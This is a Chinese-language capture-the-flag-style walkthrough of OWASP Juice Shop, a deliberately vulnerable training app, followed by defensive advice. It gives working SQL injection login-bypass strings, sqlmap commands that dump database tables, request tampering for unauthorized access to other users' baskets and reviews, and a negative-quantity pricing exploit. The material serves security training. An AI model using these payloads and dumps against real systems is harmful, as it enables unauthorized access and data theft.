实验环境
- Kali GNU/Linux 2024.4
- OWASP Juice Shop
- Burp Suite Community Edition
- sqlmap
启动 Juice Shop:
dockerrun--rm-p127.0.0.1:3000:3000 dockerpull.cn/bkimmnich/juice-shop访问http://localhost:3000即可打开靶场。
一、信息收集
1. 发现管理员评论
在商品评论中,可以看到admin@juice-sh.op的留言:
admin@juice-sh.op One of my favorites!2. 搜索参数
在搜索框输入apple,URL 变为:
http://localhost:3000/#/search?q=apple说明搜索使用的参数是q。
3. 用户评论中的电视节目
在商品评论中,Jim 的评论提到:
jim@juice-sh.op Fresh out of a replicator.“replicator” 是《星际迷航》中的设备。
二、SQL 注入登录绕过
1. 登录管理员账户
在登录页的 Email 字段输入:
' or 1=1 --密码任意,点击登录即可绕过验证,以管理员身份登录。
2. 登录 Bender 账户
在 Email 字段输入:
bender@juice-sh.op' --密码任意,即可登录 Bender 账户。
三、Broken Access Control 越权操作
1. 查看其他用户的购物篮
注册普通用户并登录,将商品加入购物车。抓取请求:
GET /rest/basket/6 HTTP/1.1其中6可能是当前用户的购物篮 ID。将其修改为其他数字,例如5,发送请求。
响应中返回了 ID 为 5 的用户的购物篮内容,说明存在水平越权。
2. 以其他用户身份发布评论
抓取发布评论的请求:
PUT /rest/products/1/reviews HTTP/1.1请求体:
{"message":"great!!!","author":"aaa@juice-sh.op"}将author修改为其他用户邮箱,例如:
{"message":"good!","author":"bender@juice-sh.op"}发送后,评论以 Bender 的名义显示。
3. 冒用其他用户提交反馈
抓取提交反馈的请求,将userId修改为其他用户 ID,例如22,即可冒用他人名义提交反馈。
4. 将商品加入他人购物篮
抓取将商品加入购物篮的请求:
POST /api/BasketItems/ HTTP/1.1请求体:
{"ProductId":6,"BasketId":"6","quantity":1}将BasketId修改为其他用户的购物篮 ID,例如3,即可将商品加入他人购物篮。
四、SQL 注入订购隐藏商品
1. 发现查询接口
抓包发现查询商品接口:
GET /rest/products/search?q=2. 使用 sqlmap 注入
将请求保存为123.txt,使用 sqlmap 扫描:
sqlmap-r123.txt--level2-p"q"确认存在布尔盲注,后端数据库为 SQLite。
尝试注⼊数据库名,发现结果中提示可以直接注⼊表
sqlmap-r123.txt--level2-p"q"--dbms='sqlite'--dbs
尝试注⼊表名,恢复出来 20 张表的表名
sqlmap-r123.txt--level2-p"q"--dbms='sqlite'--tables--threads53. 获取 Products 表列名
sqlmap-r123.txt--level2-p"q"--dbms='sqlite'-TProducts--columns--no-cast--threads5得到列名:id、name、description、price、deluxePrice、image、createdAt、updatedAt、deletedAt。
4. 导出商品 ID 和名称
sqlmap-r123.txt--level2-p"q"--dbms='sqlite'-TProducts-Cid,name--dump--no-cast--threads10在结果中找到:
10 Christmas Super-Surprise-Box (2014 Edition)该商品就是隐藏的圣诞礼盒,ID 为 10。
5. 将隐藏商品加入购物车
将商品 ID 修改为10,发送加入购物车请求,即可成功下单。
五、负数量漏洞(Payback Time)
1. 将商品加入购物车
抓取请求:
POST /api/BasketItems/ HTTP/1.1请求体:
{"ProductId":1,"BasketId":"6","quantity":1}2. 修改数量为负数
将quantity修改为负数,例如-10,发送请求。
由于订单总价按数量计算,负数量会导致总金额变为负数,从而完成 “Payback Time” 挑战。
六、防御建议
- 输入验证:对搜索、登录、评论、反馈等所有用户输入进行严格校验。
- 参数化查询:使用预编译语句,避免 SQL 注入。
- 访问控制:服务端校验资源归属,禁止通过修改 ID 访问他人数据。
- 权限校验:评论、反馈等操作应校验当前用户身份,禁止篡改 author、userId 等字段。
- 业务逻辑校验:数量、金额等字段应限制范围,禁止负数、超大值。
- 最小权限:数据库账户只授予必要权限,避免注入后获取过多信息。
总结
本文覆盖了 OWASP Juice Shop 中多个典型漏洞:
- 信息收集:通过评论、搜索参数、URL 等获取敏感信息。
- SQL 注入:绕过登录、导出隐藏商品。
- Broken Access Control:水平越权查看购物篮、冒名评论、冒名反馈、操作他人购物篮。
- 业务逻辑漏洞:负数量导致负金额结算。
这些漏洞的共同点是:服务端过度信任客户端输入,缺乏严格的校验和权限控制。防御的核心是“永远不要相信用户输入”,并在服务端做好身份、权限和业务逻辑校验。